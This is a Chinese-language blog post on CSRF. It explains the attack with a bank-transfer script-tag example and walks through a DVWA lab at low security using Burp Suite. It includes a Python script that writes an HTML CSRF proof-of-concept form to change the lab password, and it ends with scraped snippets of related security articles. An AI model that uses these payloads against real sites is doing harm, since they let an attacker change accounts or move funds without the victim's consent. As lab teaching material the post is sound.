浅谈CSRF漏洞

前言:

看完小迪老师的CSRF漏洞讲解。感觉不行

就自己百度学习。这是总结出来的。

歌曲:

正文:

CSRF与xss和像,但是两个是完全不一样的东西。

xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转

CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转

CSRF原理:

银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&[email protected]&monet=1000

攻击者的博客:http://www.hack.com/index,php

把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=[email protected]&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。

实验:

这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:

首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low

启动Burpsuite,设置代理。

回到刚刚的页面,输入要更改的密码。burp开启抓包

抓到的包

构造CSRF POC

更改所需要的

点击Regenerate按钮更新POC,点击Test in browser复制链接

点击Copy按钮。复制到浏览器上使用

点击按钮实行csrf攻击。

从图中我们可以看到密码已经更改,退回登录界面。

点击登录

从图中我们可以看到,CSRF攻击已经成功实施。

既然如此我们为什么不写一个CSRF脚本呢?

代码如下:

import time
import simplejson as json
def poc():
    url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
    headers={‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36‘}
    values=url.split(‘?‘)[-1]
    urltwo=url.split(‘?‘)[:-1]
    urltwos="".join(urltwo)
    dumps={}
    for line in values.split(‘&‘):
        key,value=line.split(‘=‘,1)
        dumps[key]=value
        discts=[i for i in dumps.keys()]
    print(‘原url:‘,url)
    print(‘url原带的参数:‘,dumps)
    dumps[‘password_new‘] = ‘password‘
    dumps[‘password_conf‘] = ‘password‘
    valueswto=[g for g in  dumps.values()]
    print(‘url更该后的参数‘,dumps)
    print(‘1.burpsuite的POC‘)

    user=input(‘请进行你的选择:‘)
    if user == ‘1‘:
        print(‘burpsiuite的POC‘)
        burp=open(‘burp.html‘,‘w‘)
        burp.write(‘<html>\n‘)
        burp.write(‘<body>\n‘)
        burp.write(‘<script>history.pushState("‘‘","‘‘",‘"‘/‘"‘)</script>\n‘)
        burp.write(‘<form action="{}">\n‘.format(urltwos))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[0],valueswto[0]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[1],valueswto[1]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[2],valueswto[2]))
        burp.write(‘<input type="submit" value="Submit CSRF POC"/>\n‘)
        burp.write(‘</form>\n‘)
        burp.write(‘</body>\n‘)
        burp.write(‘</html>\n‘)
        burp.close()
    else:
        print(‘【-】抱歉你没有进行选择,退出ing...‘)
        time.sleep(1)
        exit()

poc()

  测试结果如下:

生成的html

打开burp.html

点击按钮

密码更改成功。

有关CSRF的资料:《CSRF原理》

《深入CSRF解析》

《从0开始学CSRF》

原文地址:https://www.cnblogs.com/haq5201314/p/8903239.html

时间: 2025-01-06 16:50:19

浅谈CSRF漏洞的相关文章

浅谈SSRF漏洞

转自:http://www.cnblogs.com/s0ky1xd/p/5859049.html 浅谈SSRF漏洞 SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有

浅谈CSRF攻击方式

一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF. 二.CSRF可以做什么? 你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求.CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全. 三.CSRF漏洞现状 CSRF这

浅谈CSRF攻击方式(转)

add by zhj: 在看Django开发的应用时,看到了CSRF,然后搜到了这篇文章,讲的不错.其实CSRF 攻击也蛮简单的.当你登陆网站A后,会在本地存有cookie,在cookie没有过期的情况下,你又去访问 网站B,而网站B的js中包含发给A的http请求(即http的域名是A),因为这个请求的域名是A,所以会 携带你的对于A域名的cookie,这样就在你不知情的情况下完成了一次操作. 原文:http://www.cnblogs.com/hyddd/archive/2009/04/09

【转】浅谈CSRF攻击方式

一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF. 二.CSRF可以做什么? 你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求.CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全. 三.CSRF漏洞现状 CSRF这

浅谈CSRF(Cross-site request forgery)跨站请求伪造(写的非常好)

一 CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用.尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性 可以这

django 浅谈CSRF(Cross-site request forgery)跨站请求伪造

一 CSRF是什么 二 CSRF攻击原理 三 CSRF攻击防范 回到目录 一 CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用.尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行

浅谈越权漏洞

越权漏洞是一种很常见的逻辑安全漏洞.是由于服务器端对客户提出的数据操作请求过分信任,忽略了对该用户操作权限的判定,导致修改相关参数就可以拥有了其他账户的增.删.查.改功能,从而导致越权漏洞. 1. 分类 根据对数据库的操作进行分类,可以分为以下几类:越权查询.越权删除.越权修改.越权添加等. 根据维度进行分类,可分为:平行越权.垂直越权.交叉越权. 平行越权:权限类型不变,权限ID改变:如:同是普通用户,其中一个用户可查看其它用户信息.常见的就是通过修改某一个ID参数来查看其他用户的信息,比如你

浅谈APP漏洞挖掘之逻辑漏洞

作者:Can 联系方式:[email protected] 文章中若无特别说明,实例皆为本人自主挖掘. 转载请注明出处,本文仅为个人经验总结,介绍的并非所有方法,只是一些最常见的方法.如有错误,烦请指出. 0x00 简介 本文主要介绍APP漏洞挖掘中逻辑漏洞,包括任意用户密码重置,支付漏洞,任意用户未授权登录. 0x01 任意用户密码重置正文 首先,我们来看看任意用户密码重置. 方法一:密码找回的凭证太弱,为4位或6位纯数字,并且时效过长,导致可爆破从而重置用户密码. 这里我们来看一个实例,目前

浅谈注入漏洞问题

1.分析 在客户端进行身份认证登录的时候,有时候会面临字符串的脚本注入漏洞,可能会因为sql字符串的书写而添加了多个逻辑运算符进而出现账号密码的“强制匹配”.也比如说在网站中插入某个恶意的脚本窃取用户的Cookie,进而盗用客户的信息.这些问题都有可能会导致用户信息和安全的泄露. 要防止SQL注入其实不难,你知道原理就可以了.所有的SQL注入都是从用户的输入开始的.如果你对所有用户输入进行了判定和过滤,就可以防止SQL注入了.用户输入有好几种,我就说说常见的吧.        文本框.地址栏里*